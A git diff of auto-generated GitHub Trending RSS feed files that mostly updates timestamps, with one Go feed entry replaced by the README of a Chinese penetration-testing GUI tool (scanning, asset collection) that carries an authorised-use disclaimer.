PacktPublishing/Godot-4-Game-Development-Projects-Second-Edition + 2024-01-06T01:31:42Z + tag:github.com,2024-01-06:/PacktPublishing/Godot-4-Game-Development-Projects-Second-Edition + + <p>Godot Engine Game Development Projects Second Edition, published by Packt</p><hr> + \ No newline at end of file diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml index 376de341c98..276af6e8960 100644 --- a/gedcom/daily/index.xml +++ b/gedcom/daily/index.xml @@ -1,7 +1,7 @@ GitHub GEDCOM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:16Z + 2024-01-06T01:31:39Z Daily Trending of GEDCOM in GitHub \ No newline at end of file diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml index 710a993d069..f55fce30190 100644 --- a/gemfile.lock/daily/index.xml +++ b/gemfile.lock/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gemfile.lock Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:17Z + 2024-01-06T01:31:40Z Daily Trending of Gemfile.lock in GitHub \ No newline at end of file diff --git a/genie/daily/index.xml b/genie/daily/index.xml index c73c11f6864..0e07c4f476a 100644 --- a/genie/daily/index.xml +++ b/genie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:21Z + 2024-01-06T01:31:45Z Daily Trending of Genie in GitHub \ No newline at end of file diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml index 96d8f0be5a1..b281defdf8d 100644 --- a/genshi/daily/index.xml +++ b/genshi/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genshi Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:23Z + 2024-01-06T01:31:44Z Daily Trending of Genshi in GitHub \ No newline at end of file diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml index b692a7f3e4f..c799a74d9cb 100644 --- a/gentoo-ebuild/daily/index.xml +++ b/gentoo-ebuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Ebuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:27Z + 2024-01-06T01:31:48Z Daily Trending of Gentoo Ebuild in GitHub \ No newline at end of file diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml index 2163ea19376..f48d8eb426d 100644 --- a/gentoo-eclass/daily/index.xml +++ b/gentoo-eclass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Eclass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:24Z + 2024-01-06T01:31:47Z Daily Trending of Gentoo Eclass in GitHub \ No newline at end of file diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml index da354002df0..53871cacde6 100644 --- a/gerber-image/daily/index.xml +++ b/gerber-image/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gerber Image Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:26Z + 2024-01-06T01:31:46Z Daily Trending of Gerber Image in GitHub \ No newline at end of file diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml index 156094d5bed..b0123516954 100644 --- a/gettext-catalog/daily/index.xml +++ b/gettext-catalog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gettext Catalog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:25Z + 2024-01-06T01:31:49Z Daily Trending of Gettext Catalog in GitHub \ No newline at end of file diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml index 73bb5bbd269..96e6245befb 100644 --- a/gherkin/daily/index.xml +++ b/gherkin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gherkin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:32Z + 2024-01-06T01:31:54Z Daily Trending of Gherkin in GitHub \ No newline at end of file diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml index 21840b6bcf0..bfd90e269b8 100644 --- a/git-attributes/daily/index.xml +++ b/git-attributes/daily/index.xml @@ -1,14 +1,7 @@ GitHub Git Attributes Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:29Z + 2024-01-06T01:31:51Z Daily Trending of Git Attributes in GitHub - - gitattributes/gitattributes - 2024-01-05T01:32:29Z - tag:github.com,2024-01-05:/gitattributes/gitattributes - - <p>A collection of useful .gitattributes templates</p><hr> - \ No newline at end of file diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml index ca075e52673..e02cd55c3b8 100644 --- a/git-config/daily/index.xml +++ b/git-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:31Z + 2024-01-06T01:31:50Z Daily Trending of Git Config in GitHub \ No newline at end of file diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml index 05c4c68a830..c7cd7ec24d9 100644 --- a/gleam/daily/index.xml +++ b/gleam/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gleam Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:36Z + 2024-01-06T01:31:58Z Daily Trending of Gleam in GitHub \ No newline at end of file diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml index 979dd6f02fd..11bb1b8528b 100644 --- a/glsl/daily/index.xml +++ b/glsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub GLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:35Z + 2024-01-06T01:31:59Z Daily Trending of GLSL in GitHub \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml index cc03cb8c7ab..df66471f0ca 100644 --- a/glyph-bitmap-distribution-format/daily/index.xml +++ b/glyph-bitmap-distribution-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Bitmap Distribution Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:39Z + 2024-01-06T01:32:01Z Daily Trending of Glyph Bitmap Distribution Format in GitHub \ No newline at end of file diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml index cde1647f593..6aeb28a4d9b 100644 --- a/glyph/daily/index.xml +++ b/glyph/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:37Z + 2024-01-06T01:31:57Z Daily Trending of Glyph in GitHub \ No newline at end of file diff --git a/gn/daily/index.xml b/gn/daily/index.xml index a231eeb1756..e96f081f642 100644 --- a/gn/daily/index.xml +++ b/gn/daily/index.xml @@ -1,7 +1,7 @@ GitHub GN Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:40Z + 2024-01-06T01:32:00Z Daily Trending of GN in GitHub \ No newline at end of file diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml index df57ce272af..0b36a031491 100644 --- a/gnuplot/daily/index.xml +++ b/gnuplot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gnuplot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:38Z + 2024-01-06T01:32:02Z Daily Trending of Gnuplot in GitHub \ No newline at end of file diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml index cf2007356c6..1aa1e9f0e8e 100644 --- a/go-checksums/daily/index.xml +++ b/go-checksums/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Checksums Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:56Z + 2024-01-06T01:32:15Z Daily Trending of Go Checksums in GitHub \ No newline at end of file diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml index a569a84cdfd..c9710a7e93a 100644 --- a/go-module/daily/index.xml +++ b/go-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:57Z + 2024-01-06T01:32:13Z Daily Trending of Go Module in GitHub \ No newline at end of file diff --git a/go/daily/index.xml b/go/daily/index.xml index 3976ba61841..14e9ace2e2e 100644 --- a/go/daily/index.xml +++ b/go/daily/index.xml @@ -1,14 +1,14 @@ GitHub Go Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:43Z + 2024-01-06T01:32:05Z Daily Trending of Go in GitHub - zhu327/gemini-openai-proxy - 2024-01-05T01:32:43Z - tag:github.com,2024-01-05:/zhu327/gemini-openai-proxy - - <p>A proxy for converting the OpenAI API protocol to the Google Gemini Pro protocol.</p><hr><h1>Gemini-OpenAI-Proxy</h1> <p>Gemini-OpenAI-Proxy is a proxy designed to convert the OpenAI API protocol to the Google Gemini Pro protocol. This enables seamless integration of OpenAI-powered functionalities into applications using the Gemini Pro protocol.</p> <hr> <h2>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#gemini-openai-proxy">Gemini-OpenAI-Proxy</a> <ul> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#table-of-contents">Table of Contents</a></li> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#build">Build</a></li> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#deploy">Deploy</a></li> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#usage">Usage</a></li> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#compatibility-testing">Compatibility Testing</a></li> <li><a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/#license">License</a></li> </ul> </li> </ul> <hr> <h2>Build</h2> <p>To build the Gemini-OpenAI-Proxy, follow these steps:</p> <pre><code class="language-bash">go build -o gemini main.go </code></pre> <hr> <h2>Deploy</h2> <p>We recommend deploying Gemini-OpenAI-Proxy using Docker for a straightforward setup. Follow these steps to deploy with Docker:</p> <pre><code class="language-bash">docker run --restart=always -it -d -p 8080:8080 --name gemini zhu327/gemini-openai-proxy:latest </code></pre> <p>Adjust the port mapping (e.g., <code>-p 8080:8080</code>) as needed, and ensure that the Docker image version (<code>zhu327/gemini-openai-proxy:latest</code>) aligns with your requirements.</p> <hr> <h2>Usage</h2> <p>Gemini-OpenAI-Proxy offers a straightforward way to integrate OpenAI functionalities into any application that supports custom OpenAI API endpoints. Follow these steps to leverage the capabilities of this proxy:</p> <ol> <li> <p><strong>Set Up OpenAI Endpoint:</strong> Ensure your application is configured to use a custom OpenAI API endpoint. Gemini-OpenAI-Proxy seamlessly works with any OpenAI-compatible endpoint.</p> </li> <li> <p><strong>Get Google AI Studio API Key:</strong> Before using the proxy, you'll need to obtain an API key from <a href="https://ai.google.dev">ai.google.dev</a>. Treat this API key as your OpenAI API key when interacting with Gemini-OpenAI-Proxy.</p> </li> <li> <p><strong>Integrate the Proxy into Your Application:</strong> Modify your application's API requests to target the Gemini-OpenAI-Proxy, providing the acquired Google AI Studio API key as if it were your OpenAI API key.</p> <p>Example API Request (Assuming the proxy is hosted at <code>http://localhost:8080</code>):</p> <pre><code class="language-bash">curl http://localhost:8080/v1/chat/completions \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $YOUR_GOOGLE_AI_STUDIO_API_KEY" \ -d '{ "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "Say this is a test!"}], "temperature": 0.7 }' </code></pre> <p>Alternatively, use Gemini Pro Vision:</p> <pre><code class="language-bash">curl http://localhost:8080/v1/chat/completions \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $YOUR_GOOGLE_AI_STUDIO_API_KEY" \ -d '{ "model": "gpt-4-vision-preview", "messages": [{"role": "user", "content": [ {"type": "text", "text": "Whatโ€™s in this image?"}, { "type": "image_url", "image_url": { "url": "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg" } } ]}], "temperature": 0.7 }' </code></pre> </li> <li> <p><strong>Handle Responses:</strong> Process the responses from the Gemini-OpenAI-Proxy in the same way you would handle responses from OpenAI.</p> </li> </ol> <p>Now, your application is equipped to leverage OpenAI functionality through the Gemini-OpenAI-Proxy, bridging the gap between OpenAI and applications using the Google Gemini Pro protocol.</p> <h2>Compatibility Testing</h2> <p>Gemini-OpenAI-Proxy is designed to seamlessly integrate OpenAI-powered functionalities into applications using the Google Gemini Pro protocol. To ensure comprehensive compatibility, we have conducted testing specifically targeting <code>chatbox</code> and <code>openai translator</code> functionalities.</p> <hr> <h2>License</h2> <p>Gemini-OpenAI-Proxy is licensed under the MIT License - see the <a href="https://raw.githubusercontent.com/zhu327/gemini-openai-proxy/main/LICENSE">LICENSE</a> file for details.</p> + qiwentaidi/Slack + 2024-01-06T01:32:05Z + tag:github.com,2024-01-06:/qiwentaidi/Slack + + <p>ไธ€ๆฌพGo Wailsๅฎž็Žฐ็š„GUIๅทฅๅ…ท๏ผŒๅŠŸ่ƒฝๆถต็›–็ฝ‘็ซ™ๆ‰ซๆใ€็ซฏๅฃๆ‰ซๆใ€ไผไธšไฟกๆฏๆ”ถ้›†ใ€ๅญๅŸŸๅๆšด็ ดใ€็ฉบ้—ดๅผ•ๆ“Žๆœ็ดขใ€CDN่ฏ†ๅˆซ็ญ‰</p><hr><h4 align="center">็”ฑGo Wailsๅฎž็Žฐ็š„GUIๅทฅๅ…ท๏ผŒๅŠŸ่ƒฝๆถต็›–็ฝ‘็ซ™ๆ‰ซๆใ€็ซฏๅฃๆ‰ซๆใ€ไผไธšไฟกๆฏๆ”ถ้›†ใ€ๅญๅŸŸๅๆšด็ ดใ€็ฉบ้—ดๅผ•ๆ“Žๆœ็ดขใ€CDN่ฏ†ๅˆซ็ญ‰ๅคšๅŠŸ่ƒฝ็š„ๅทฅๅ…ท</h4> <p align="center"> <img src="https://img.shields.io/github/go-mod/go-version/qiwentaidi/Slack?filename=go.mod"> <img src="https://img.shields.io/badge/wails-v2.7.1-blue"> <a href="https://github.com/qiwentaidi/Slack/releases/"><img src="https://img.shields.io/github/v/release/qiwentaidi/Slack"> </a><a href="https://github.com/qiwentaidi/Slack/releases/"><img src="https://img.shields.io/github/downloads/qiwentaidi/Slack/total"> </a></p> <a href="https://github.com/qiwentaidi/Slack/releases/"> <h1>ไฝฟ็”จ้กป็Ÿฅ</h1> <p>็”ฑไบŽๅŠŸ่ƒฝๆœชๅ…จ้ƒจๅฎŒๅ–„ๆ‰€ไปฅๆš‚ไธๆไพ›็ผ–่ฏ‘็‰ˆ๏ผŒๅŽ็ปญFyne็‰ˆๆœฌๅฐ†ๅœๆญขๆ›ดๆ–ฐ๏ผŒไฝ†ๆ˜ฏไป็„ถๅฏไปฅ้€š่ฟ‡ๅˆ†ๆ”ฏไธญ่Žทๅ–ๅˆฐ่ฏฅๆจกๅ—ไปฃ็ ๏ผŒๆœฌไบบไธๅคช็†Ÿๆ‚‰ๅ‰็ซฏๆก†ๆžถ๏ผŒๅฏนๅ†…ๅญ˜ๆˆ–่€…ๅŠŸ่ƒฝๅฎž็ŽฐไธŠๅนถไธๅฅฝ๏ผŒๆฌข่ฟŽๅ„ไฝๅธˆๅ‚…ๆไพ›ๆ„่ง</p> <h1>่ฟ่กŒ</h1> </a> <p><a href="https://github.com/qiwentaidi/Slack/releases/">ๅฏไปฅ้€š่ฟ‡</a><a href="https://wails.io/zh-Hans/docs/gettingstarted/installation/">wails</a>ๅฎ˜็ฝ‘ๆŸฅ็œ‹ๆ”ฏๆŒ่ฟ่กŒ็š„ๅฎขๆˆท็ซฏไปฅๅŠ่ฟ่กŒๅ‰ๆกไปถ๏ผŒ่ฏฆ็ป†ๅŠŸ่ƒฝไป‹็ปๅŠๆ‹“ๅฑ•็ญ‰ไฟกๆฏ่ง<a href="https://github.com/qiwentaidi/Slack/wiki">Wiki</a></p> <pre><code class="language-shell">go install github.com/wailsapp/wails/v2/cmd/wails@latest wails doctor // ๆฃ€ๆต‹ๆ˜ฏๅฆๅฎ‰่ฃ…ๆˆๅŠŸ wails dev // ่ฐƒ่ฏ• wails build // ็ผ–่ฏ‘ ็ผ–่ฏ‘ๅฎŒ็š„ๅบ”็”จๅœจ build/bin ็›ฎๅฝ•ไธ‹๏ผŒ้œ€่ฆ็งปๅŠจๅˆฐๅฝ“ๅ‰็›ฎๅฝ•ไธ‹่ฟ่กŒ </code></pre> <h1>ๆธ—้€ๆต‹่ฏ•</h1> <h2>็ฝ‘็ซ™ๆ‰ซๆ</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231212193659420.png" alt="image-20231212193659420"></p> <h2>ไธปๆœบๆ‰ซๆ</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231226143037447.png" alt="image-20231226143037447"></p> <h2>็›ฎๅฝ•ๆ‰ซๆ</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231226143213368.png" alt="image-20231226143213368"></p> <h1>่ต„ไบงๆ”ถ้›†</h1> <h2>ๅ…ฌๅธๅ็งฐๆŸฅ่ต„ไบง</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231124155235223.png" alt="image-20231124155235223"></p> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231124155217521.png" alt="image-20231124155217521"></p> <h2>ๅญๅŸŸๅๆšด็ ด</h2> <h2>ๅŸŸๅไฟกๆฏๆŸฅ่ฏข</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231124155438993.png" alt="image-20231124155438993"></p> <h1>็ฉบ้—ดๅผ•ๆ“Ž</h1> <h2>FOFA</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231204000209352.png" alt="image-20231204000209352"></p> <h2>้นฐๅ›พ</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231229143634981.png" alt="image-20231229143634981"></p> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231229143654453.png" alt="image-20231229143654453"></p> <h1>ๅฐๅทฅๅ…ท</h1> <h2>ๅŠ ่งฃๅฏ†ๆจกๅ—็ญ‰</h2> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231125184445970.png" alt="image-20231125184445970"></p> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231208110624124.png" alt="image-20231208110624124"></p> <h1>ๅธธ่ง้—ฎ้ข˜</h1> <blockquote> <p>Q๏ผšWindows grdpๅบ“ๆ— ๆณ•ๆ‰“ๅŒ…๏ผŒๅ‡บ็Žฐๅฆ‚ไธ‹ๆŠฅ้”™</p> <pre><code>Wails CLI v2.7.1 Executing: go mod tidy โ€ข Generating bindings: ERROR package slack-wails imports slack-wails/core/portscan imports github.com/tomatome/grdp/protocol/pdu imports github.com/tomatome/grdp/protocol/t125/gcc imports github.com/tomatome/grdp/plugin: build constraints exclude all Go files in C:\xx\go\pkg\mod\github.com\tomatome\grdp@v0.1.0\plugin </code></pre> <p>A๏ผš</p> <pre><code>1ใ€go envๆŸฅ็œ‹CGO_ENABLEDๆ˜ฏๅฆไธบ1๏ผŒ่‹ฅไธๆ˜ฏๅˆ™go env -w CGO_ENABLED=1 2ใ€้œ€่ฆๅฎ‰่ฃ…GCC็Žฏๅขƒ </code></pre> </blockquote> <blockquote> <p>Q๏ผšMac็ณป็ปŸไธ‹็ผ–่ฏ‘ๆˆๅŠŸๅŽๆ›ดๆ–ฐPOCๅผ‚ๅธธๆˆ–่€…ๆ‰พไธๅˆฐPOCๆ–‡ไปถๅคน็ญ‰</p> <p>A๏ผš็”ฑไบŽMac็ณป็ปŸไธ‹ๆ‰“ๅŒ…ๅฎŒๆˆไธบ.appๆ–‡ไปถ๏ผŒ้œ€่ฆๅฐ†ๅ…ถslack-wails.appไธ‹้ข็š„/Contents/MacOS/slack-wailsๆ–‡ไปถ็งปๅŠจๅˆฐ็จ‹ๅบๆ น็›ฎๅฝ•ไธ‹ๅนถ้€š่ฟ‡ๅ‘ฝไปค่กŒ./ๅฏๅŠจๅณๅฏๆญฃๅธธไฝฟ็”จ</p> </blockquote> <h1>่”็ณปๆ–นๅผ</h1> <p>ๅฆ‚ๆžœๆœ‰้—ฎ้ข˜ๅฏไปฅๅŠ ๆˆ‘่”็ณปๆ–นๅผ่ฟ›ๅทฅๅ…ทไบคๆต็พค๏ผˆ่ฏทๅค‡ๆณจๆฅๆ„๏ผ‰</p> <p><img src="https://raw.githubusercontent.com/qiwentaidi/Slack/master/assets/image-20231006124944803.png" alt="image-20231006124944803"></p> <h1>ๅ…่ดฃๅฃฐๆ˜Ž</h1> <p>ๆœฌๅทฅๅ…ทไป…้ขๅ‘<strong>ๅˆๆณ•ๆŽˆๆƒ</strong>็š„ไผไธšๅฎ‰ๅ…จๅปบ่ฎพ่กŒไธบ๏ผŒๅฆ‚ๆ‚จ้œ€่ฆๆต‹่ฏ•ๆœฌๅทฅๅ…ท็š„ๅฏ็”จๆ€ง๏ผŒ่ฏท่‡ช่กŒๆญๅปบ้ถๆœบ็Žฏๅขƒใ€‚</p> <p>ไธบ้ฟๅ…่ขซๆถๆ„ไฝฟ็”จ๏ผŒๆœฌ้กน็›ฎๆ‰€ๆœ‰ๆ”ถๅฝ•็š„pocๅ‡ไธบๆผๆดž็š„็†่ฎบๅˆคๆ–ญ๏ผŒไธๅญ˜ๅœจๆผๆดžๅˆฉ็”จ่ฟ‡็จ‹๏ผŒไธไผšๅฏน็›ฎๆ ‡ๅ‘่ตท็œŸๅฎžๆ”ปๅ‡ปๅ’Œๆผๆดžๅˆฉ็”จใ€‚</p> <p>ๅœจไฝฟ็”จๆœฌๅทฅๅ…ท่ฟ›่กŒๆฃ€ๆต‹ๆ—ถ๏ผŒๆ‚จๅบ”็กฎไฟ่ฏฅ่กŒไธบ็ฌฆๅˆๅฝ“ๅœฐ็š„ๆณ•ๅพ‹ๆณ•่ง„๏ผŒๅนถไธ”ๅทฒ็ปๅ–ๅพ—ไบ†่ถณๅคŸ็š„ๆŽˆๆƒใ€‚<strong>่ฏทๅ‹ฟๅฏน้žๆŽˆๆƒ็›ฎๆ ‡่ฟ›่กŒๆ‰ซๆใ€‚</strong></p> <p>ๅฆ‚ๆ‚จๅœจไฝฟ็”จๆœฌๅทฅๅ…ท็š„่ฟ‡็จ‹ไธญๅญ˜ๅœจไปปไฝ•้žๆณ•่กŒไธบ๏ผŒๆ‚จ้œ€่‡ช่กŒๆ‰ฟๆ‹…็›ธๅบ”ๅŽๆžœ๏ผŒๆˆ‘ไปฌๅฐ†ไธๆ‰ฟๆ‹…ไปปไฝ•ๆณ•ๅพ‹ๅŠ่ฟžๅธฆ่ดฃไปปใ€‚</p> <p>ๅœจๅฎ‰่ฃ…ๅนถไฝฟ็”จๆœฌๅทฅๅ…ทๅ‰๏ผŒ่ฏทๆ‚จ<strong>ๅŠกๅฟ…ๅฎกๆ…Ž้˜…่ฏปใ€ๅ……ๅˆ†็†่งฃๅ„ๆกๆฌพๅ†…ๅฎน</strong>๏ผŒ้™ๅˆถใ€ๅ…่ดฃๆกๆฌพๆˆ–่€…ๅ…ถไป–ๆถ‰ๅŠๆ‚จ้‡ๅคงๆƒ็›Š็š„ๆกๆฌพๅฏ่ƒฝไผšไปฅๅŠ ็ฒ—ใ€ๅŠ ไธ‹ๅˆ’็บฟ็ญ‰ๅฝขๅผๆ็คบๆ‚จ้‡็‚นๆณจๆ„ใ€‚ ้™ค้žๆ‚จๅทฒๅ……ๅˆ†้˜…่ฏปใ€ๅฎŒๅ…จ็†่งฃๅนถๆŽฅๅ—ๆœฌๅ่ฎฎๆ‰€ๆœ‰ๆกๆฌพ๏ผŒๅฆๅˆ™๏ผŒ่ฏทๆ‚จไธ่ฆๅฎ‰่ฃ…ๅนถไฝฟ็”จๆœฌๅทฅๅ…ทใ€‚ๆ‚จ็š„ไฝฟ็”จ่กŒไธบๆˆ–่€…ๆ‚จไปฅๅ…ถไป–ไปปไฝ•ๆ˜Ž็คบๆˆ–่€…้ป˜็คบๆ–นๅผ่กจ็คบๆŽฅๅ—ๆœฌๅ่ฎฎ็š„๏ผŒๅณ่ง†ไธบๆ‚จๅทฒ้˜…่ฏปๅนถๅŒๆ„ๆœฌๅ่ฎฎ็š„็บฆๆŸใ€‚</p> \ No newline at end of file diff --git a/golo/daily/index.xml b/golo/daily/index.xml index 9f356d2d01b..629afa86f2b 100644 --- a/golo/daily/index.xml +++ b/golo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Golo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:00Z + 2024-01-06T01:32:17Z Daily Trending of Golo in GitHub \ No newline at end of file diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml index 91389cab7bf..c9bc4bebb09 100644 --- a/gosu/daily/index.xml +++ b/gosu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gosu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:02Z + 2024-01-06T01:32:18Z Daily Trending of Gosu in GitHub \ No newline at end of file diff --git a/grace/daily/index.xml b/grace/daily/index.xml index 1cc32318250..0af8642a89a 100644 --- a/grace/daily/index.xml +++ b/grace/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:01Z + 2024-01-06T01:32:16Z Daily Trending of Grace in GitHub \ No newline at end of file diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml index 8fa29d2711d..8aca767cff8 100644 --- a/gradle/daily/index.xml +++ b/gradle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gradle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:02Z + 2024-01-06T01:32:19Z Daily Trending of Gradle in GitHub \ No newline at end of file diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml index 5cbd8178d16..52771eb56b3 100644 --- a/grammatical-framework/daily/index.xml +++ b/grammatical-framework/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grammatical Framework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:04Z + 2024-01-06T01:32:21Z Daily Trending of Grammatical Framework in GitHub \ No newline at end of file diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml index 907ec40e661..13d986c0754 100644 --- a/graph-modeling-language/daily/index.xml +++ b/graph-modeling-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graph Modeling Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:05Z + 2024-01-06T01:32:23Z Daily Trending of Graph Modeling Language in GitHub \ No newline at end of file diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml index 5c51ddc6354..6a314c563be 100644 --- a/graphql/daily/index.xml +++ b/graphql/daily/index.xml @@ -1,7 +1,7 @@ GitHub GraphQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:06Z + 2024-01-06T01:32:20Z Daily Trending of GraphQL in GitHub \ No newline at end of file diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml index db02c5900f6..9842f3014fd 100644 --- a/graphviz-(dot)/daily/index.xml +++ b/graphviz-(dot)/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graphviz (DOT) Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:10Z + 2024-01-06T01:32:24Z Daily Trending of Graphviz (DOT) in GitHub \ No newline at end of file diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml index b64d28b36d3..aff8cfe1c09 100644 --- a/groovy-server-pages/daily/index.xml +++ b/groovy-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Groovy Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:09Z + 2024-01-06T01:32:28Z Daily Trending of Groovy Server Pages in GitHub \ No newline at end of file diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml index 13737beec61..1f5043a0c6e 100644 --- a/groovy/daily/index.xml +++ b/groovy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Groovy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:12Z + 2024-01-06T01:32:27Z Daily Trending of Groovy in GitHub \ No newline at end of file diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml index 116e10fd0e7..0ab2e7b8a5b 100644 --- a/gsc/daily/index.xml +++ b/gsc/daily/index.xml @@ -1,7 +1,7 @@ GitHub GSC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:08Z + 2024-01-06T01:32:25Z Daily Trending of GSC in GitHub \ No newline at end of file diff --git a/hack/daily/index.xml b/hack/daily/index.xml index f1a5a94f0d0..a3433dba8e3 100644 --- a/hack/daily/index.xml +++ b/hack/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:15Z + 2024-01-06T01:32:30Z Daily Trending of Hack in GitHub \ No newline at end of file diff --git a/haml/daily/index.xml b/haml/daily/index.xml index d5cb6aea7d0..930c4fa82dd 100644 --- a/haml/daily/index.xml +++ b/haml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:14Z + 2024-01-06T01:32:32Z Daily Trending of Haml in GitHub \ No newline at end of file diff --git 